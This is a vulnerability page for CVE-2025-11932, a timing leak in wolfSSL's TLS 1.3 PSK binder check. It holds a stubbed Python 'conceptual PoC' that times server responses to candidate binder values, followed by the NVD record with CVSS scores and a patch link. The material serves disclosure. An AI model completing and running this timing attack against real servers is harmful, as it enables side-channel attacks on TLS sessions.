CVE-2025-11932

// CVE-2025-11932 PoC - TLS 1.3 PSK Binder Timing Attack Concept // This is a conceptual PoC demonstrating the timing attack vector import time import struct def measure_response_time(client_hello, binder_value): """Measure server response time for PSK binder validation""" start = time.perf_counter() # Simulate sending modified client hello with different binder values response = send_tls13_client_hello(client_hello, binder_value) end = time.perf_counter() return end - start def timing_attack_poc(target_host): """ Conceptual timing attack to detect PSK binder timing differences Note: This is for educational purposes only """ results = [] # Generate test binder values test_binders = [] for i in range(256): binder = bytes([i] * 32) # 32-byte binder candidate test_binders.append(binder) # Measure timing for each binder value for binder in test_binders: timings = [] for _ in range(100): # Multiple measurements for accuracy t = measure_response_time(generate_client_hello(), binder) timings.append(t) avg_time = sum(timings) / len(timings) results.append((binder[0], avg_time)) # Identify binder values with anomalous timing results.sort(key=lambda x: x[1]) return results[:10] # Return top 10 timing anomalies def send_tls13_client_hello(client_hello, binder): """Simulate TLS 1.3 ClientHello with PSK binder""" # Implementation would send actual TLS 1.3 ClientHello pass def generate_client_hello(): """Generate TLS 1.3 ClientHello with PSK extension""" pass

{"cve": {"id": "CVE-2025-11932", "sourceIdentifier": "[email protected]", "published": "2025-11-21T23:15:44.097", "lastModified": "2025-12-04T16:09:31.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The server previously verified the TLS 1.3 PSK binder using a non-constant time method which could potentially leak information about the PSK binder"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:5.8.2:*:*:*:*:*:*:*", "matchCriteriaId": "A9A77590-75C8-4CF5-A5C6-4A8A1249E9FF"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9223", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}